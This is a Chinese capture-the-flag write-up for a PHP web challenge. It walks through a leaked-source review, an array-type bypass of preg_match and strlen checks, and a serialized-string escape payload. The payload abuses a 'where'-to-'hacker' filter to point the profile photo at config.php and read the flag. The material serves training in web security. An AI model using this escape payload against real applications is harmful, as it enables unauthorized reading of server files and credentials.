打开环境看看
试一试sql注入,f12都没什么发现 。直接dirsearch扫来看看,(我们在做题扫目录的时候经常会遇见429的情况,这时候就需要调整一下扫描参数,比如dirsearch添加个延时参数,这样就大大提高了扫描效率)
扫描出来了有个www.zip。原来是原码泄露。给了几个php
先大概浏览一下,发现config.php里面有flag,但是不可读。
config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
接着发现 profile.php里面有个读取文件的函数.
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
思路直接清晰,我们只需要让$profile['photo']=config.php就可以读到里面的flag了。再往上看,发现$profile被反序列化后然后又重新赋值了,那条件反射去看看序列化在哪,会发现在update.php里面有对他的序列化
update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
可以看到这里可以对$profile进行赋值了,但是$profile['photo']的值又已经有一部分确定了,但是这里还有个update_profile,再去看看
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
他对传进去的serialize($profile)进行了filter,那就再看filter
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
他对传进去的变量设置了白名单和黑名单,这里看到他会把where换成hacker,5个字符换成了6个字符,很简单的想到了反序列化字符串逃逸,之前在这篇文章讲到过(7条消息) [安洵杯 2019]easy_serialize_php_m0_56059226的博客-优快云博客,就不在赘述,这里直接从nickname入手是最方便的。序列化后是这样
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";s:3:"123";s:5:"photo";s:39:"upload/dd7ec931179c4dcb6a8ffb8b8786d20b";}
而我们要构造成这样
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";s:3:"123";s:5:"photo";s:10:"config.php";}s:39:"upload/dd7ec931179c4dcb6a8ffb8b8786d20b";}
既然要对nickname入手,那么他的变量一定要可以控制的,他给的条件也很好绕过,因为是或,所以一个都不能满足,而preg_match是判断不了数组的直接返回false,strlen也不能判断数组长度也返回false。
还是直接附上大佬给的一张表吧
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) =null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) =null
strpos(Array(),“abc”) = null
strlen(Array()) = null
然后构造为
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:10:"config.php";}s:39:"upload/dd7ec931179c4dcb6a8ffb8b8786d20b";}
最后让";}s:5:"photo";s:10:"config.php";}这34个字符造成逃逸就可以了,由于where换成hacker多了一个字符,而且他是序列化后再替换,所以要让他多34个字符去替代前面的,就需要34个where,最后也就是34*5+34=204个字符。最后为
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";a:1:{i:0;s:204:"34*where";}s:5:"photo";s:10:"config.php";}s:39:"upload/dd7ec931179c4dcb6a8ffb8b8786d20b";}
此时34*where";}s:5:"photo";s:10:"config.php";}还是nickname的值,替换后34*hacker才是nickname的值,photo的值也变成了config.php。
先进入注册的界面,注册了账号以后,登录进去,在更新信息的界面进行抓包
注意要把nickname改成数组的形式。然后在profile.php的界面查看原码。
解码后便可得到flag。